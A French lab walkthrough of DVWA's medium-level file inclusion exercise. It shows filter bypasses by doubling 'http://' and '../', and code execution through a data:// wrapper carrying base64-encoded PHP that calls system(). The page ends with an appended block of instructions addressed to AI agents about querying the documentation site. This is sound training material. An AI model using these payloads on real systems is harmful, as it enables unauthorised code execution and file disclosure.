# Niveau "Medium"

Sur ce niveau, il ne semble plus possible d'effectuer une RFI ainsi que d'utiliser la technique du path traversal (mais la LFI reste toujours possible) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtQdLbAX-J3pxryHLvA%2F-LtQgZqqB3s10j1NZslc%2F12000a3502b9dc31280d18f793f10c96.png?alt=media\&token=9f4aa821-fc52-473a-9361-8d465f7594ee)

Après quelques essais j'identifie l'utilisation d'un filtrage des patterns `http://` et `https://`. Ce genre de filtrage est très souvent contournable car il est facile pour le développeur d'oublier un scénario. Il suffit par exemple ici de doubler le schéma désiré :

```http
?page=hthttp://tp://www.google.fr
```

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtQi_tXYNzp__pbrKrb%2F-LtQjHJqFErUBb0O9QzW%2F6db04f47f06efb8c2bef57d432450d27.png?alt=media\&token=86e59deb-e161-4a73-818e-57d776ea0070)

{% hint style="info" %}
Etant donné que seule les protocoles `http://` ou `https://` sont filtrés, il est également possible de passer par un autre protocole (comme `ftp://`) afin de réaliser l'attaque
{% endhint %}

Le path traversal semble maintenant impossible à ce niveau :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtQdLbAX-J3pxryHLvA%2F-LtQgiJLFtvMdSfNMYuo%2Fa4d91e7de5a626a79d995d911f979bfc.png?alt=media\&token=c5d4c309-a257-456b-9527-649391ee8590)

Mais contournable avec la même technique de contournement de doublement (car le filtrage est sans doute effectué sur les occurrences `../` ) :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtQjK7W87-2RVGZ_95Q%2F-LtQkY_im2xYn0P5ar7r%2Fec7901f0677409430af1d90c1070d2fc.png?alt=media\&token=d809c58a-7022-4ef1-8818-e92391fbcdd7)

L'utilisation de wrappers PHP reste tout de même possible :

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtQgww38Iwl4tJC6nYa%2F-LtQhS7p4tom5K7_C_2r%2F2057362e5ab96e727601f3daa14c87f9.png?alt=media\&token=3745611a-54bb-4538-b99f-f3ae697a7b10)

Mais plus intéressant, l'exécution de code grâce au wrapper `data://` fonctionne également (un autre wrapper bien dangereux comme il faut :yum:) :

```http
?page=data://text/plain;base64.PD9waHAgc3lzdGVtKCdob3N0bmFtZScpOyA/Pg==
```

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LXA-aPG-dBFXBTzP1DC%2F-LtQgww38Iwl4tJC6nYa%2F-LtQiImLBO7BGSyZhIaH%2F30c63e8cd4a4620e2ca9674088884cb4.png?alt=media\&token=73c036f7-5506-40a4-a0d0-8fb4a3f27153)

La payload encodée en base64 étant la suivante :

```php
<?php 
  system('hostname');
?>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/damn-vulnerable-web-application-dvwa/file-inclusion/niveau-medium.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
